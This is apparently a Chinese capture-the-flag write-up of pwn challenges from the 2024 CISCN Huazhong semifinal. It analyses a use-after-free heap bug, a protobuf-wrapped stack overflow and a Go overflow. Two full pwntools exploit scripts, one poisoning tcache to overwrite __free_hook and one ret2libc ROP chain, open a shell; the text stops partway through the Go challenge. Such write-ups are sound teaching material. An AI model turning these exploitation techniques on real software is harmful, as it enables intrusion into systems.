-
-
2024全国大学生信息安全竞赛(ciscn)半决赛华中赛区Pwn题解
-
发表于: 2024-6-26 10:43 10238
-
简介
前段时间赛前准备把ciscn东北赛区、华南赛区、西南赛区半决赛的题都复现完了。
可惜遇到了华东北赛区的离谱平台和离谱pwn出题人:
- 假的awdp(直接传到靶机,然后连上去cat /flag.txt即可)
- 题型分布不合理,8个web 2个pwn(还是没有libc的栈上签到题)
今天把华中赛区的题目也都复现了一下,题目分布为1个简单堆、1个高版本堆、1个go和1个protobuf。
对比之下,华东北的题最烂。
Pwn1-note
签到堆题,2.31版本libc(tcache利用最简单的版本)。
题目没去除符号表,经典菜单题,逆向也不复杂。
逆向分析
拖入IDA分析:
经典的增删改查菜单,逐个分析。
add
可以申请最多1024个任意大小的chunk(小于0x1000)。
edit
正常编辑功能,不存在溢出。
delete
关键漏洞点,存在UAF漏洞。
show
正常打印输出chunk中的内容。
利用思路
题目给的glibc2.31相对来说还是比较好利用的,没有fd指针也加密,malloc也不检查是否0x10对齐。
存在UAF漏洞,没有任何限制。打法有很多种,最简单的就是tcache poisoning打__free_hook -> system。
通过tcache泄露堆地址,通过unsorted bin泄露libc,然后修改tcache的fd指针指向free_hook。
修改free_hook为system,然后释放一个带有/bin/sh的chunk即可完成利用。
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
|
from pwn import *
elf = ELF( "./pwn" )
libc = ELF( "./libc.so.6" )
p = process([elf.path])
context(arch = elf.arch, os = elf.os)
context.log_level = 'debug'
def add_chunk(size, content):
p.sendlineafter(b "5. exit\n" , b "1" )
p.sendlineafter(b "content: \n" , str (size).encode())
p.sendlineafter(b "content: \n" , content)
def edit_chunk(index, content):
p.sendlineafter(b "5. exit\n" , b "2" )
p.sendlineafter(b "index: \n" , str (index).encode())
p.sendlineafter(b "content: \n" , str ( len (content)).encode())
p.sendafter(b "Content: \n" , content)
def delete_chunk(index):
p.sendlineafter(b "5. exit\n" , b "3" )
p.sendlineafter(b "index: \n" , str (index).encode())
def show_chunk(index):
p.sendlineafter(b "5. exit\n" , b "4" )
p.sendlineafter(b "index:" , str (index).encode())
# leak heap and libc for i in range ( 9 ):
add_chunk( 0x98 , b 'a' * 0x98 ) # 0-8
for i in range ( 7 ):
delete_chunk( 6 - i)
delete_chunk( 7 )
show_chunk( 0 )
heap_base = u64(p.recvuntil((b '\x55' , b '\x56' ))[ - 6 :].ljust( 8 , b '\x00' )) & ~ 0xFFF
success( "heap_base = " + hex (heap_base))
show_chunk( 7 )
libc_base = u64(p.recvuntil(b '\x7f' )[ - 6 :].ljust( 8 , b '\x00' )) - 0x1ecbe0
libc.address = libc_base
success( "libc_base = " + hex (libc_base))
# tcache poisoning free_hook = libc.sym[ '__free_hook' ]
system = libc.sym[ 'system' ]
edit_chunk( 1 , b '/bin/sh\x00' )
edit_chunk( 0 , p64(free_hook))
add_chunk( 0x98 , b 'b' * 0x98 ) # 9
add_chunk( 0x98 , p64(system)) # 10 __free_hook
# gdb.attach(p) # pause() delete_chunk( 1 )
p.interactive() |
Pwn2-protoverflow
题目很简单,ret2libc。
难点在于交互时套了一层C++ Protobuf的壳。
Protobuf-C逆向可以参考《深入二进制安全:全面解析Protobuf》文章,近期会再更新一期关于C++中Protobuf结构体还原的方法。
逆向分析
发现程序运行时会打印puts函数地址,泄露libc。然后解析Protobuf结构体并调用真正的主函数。
结构体还原
使用pbtk工具:
1 |
pbtk - 1.0 . 5 / extractors / from_binary.py . / pwn
|
得到结构体:
syntax = "proto2"; message protoMessage { optional string name = 1; optional string phoneNumber = 2; required bytes buffer = 3; required uint32 size = 4; }
利用思路
name和phoneNumber可选,没什么用。
buffer为字符串,size可自定义,调用memcpy时会存在栈溢出漏洞。
已知libc,可以考虑直接ret2libc。
(这里需要注意的是,经过编译后的Protobuf会在头部增加一个Message结构体,下标3开始才是我们的字段)
(而if里判断了下标为2的参数,这里猜测是判断结构体中name和phoneNumber字段是否为空)
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
|
from pwn import *
import message_pb2
elf = ELF( "./pwn" )
libc = ELF( "/lib/x86_64-linux-gnu/libc.so.6" )
p = process([elf.path])
context(arch = elf.arch, os = elf.os)
context.log_level = 'debug'
# leak libc p.recvuntil(b 'Gift: ' )
gift = int (p.recv( 14 ), 16 )
libc_base = gift - libc.sym[ 'puts' ]
libc.address = libc_base
success( "libc_base = " + hex (libc_base))
# rop system = libc.sym[ 'system' ]
binsh = next (libc.search(b '/bin/sh\x00' ))
ret = next (libc.search(asm( 'ret' ), executable = True ))
pop_rdi = next (libc.search(asm( 'pop rdi; ret' ), executable = True ))
pop_rsi = next (libc.search(asm( 'pop rsi; ret' ), executable = True ))
pop_rdx_r12 = next (libc.search(asm( 'pop rdx; pop r12; ret' ), executable = True ))
rop = b 'a' * 0x210 + b 'deadbeef'
rop + = p64(pop_rdi) + p64(binsh)
rop + = p64(pop_rsi) + p64( 0 ) + p64(pop_rdx_r12) + p64( 0 ) * 2
rop + = p64(system)
# gdb.attach(p, 'b *$rebase(0x3345)\nc') # pause() message = message_pb2.protoMessage()
message. buffer = rop
message.size = len (rop)
p.send(message.SerializeToString()) p.interactive() |
Pwn3-go_note
Go语言静态编译的题目,IDA反编译不是很好,但是代码不复杂且漏洞点很好发现。
关键问题是没有libc,需要找一些ROP来调用静态编译的函数,方法可能不是最优解,但是很容易想到。
逆向分析
Go语言逆向,相比于C语言的区别如下:
-
main函数名为main_main(如果去除符号表,考虑通过bindiff还原)
-
参数依次通过寄存器传递:AX、BX、CX、DI、SI、R8、R9、R10、R11
对于Go语言逆向,IDA支持不是很好,我们需要结合汇编代码和动态调试来分析。
找到main_main函数:
好在不是很复杂,根据菜单发现有add、delete、edit和show功能,依次分析。
add
存在一个Notes结构体,存储len和array结构体数组。add函数会将id、content_len和content加入到array结构体数组中。
delete
直接看变量有点复杂,结合gdb调试发现不存在UAF漏洞。
edit
直接看变量有点复杂,结合gdb动态调试发现这里没有判断输入长度,存在溢出漏洞并能覆盖到返回地址。
show
看上去没有什么漏洞,直接打印内容。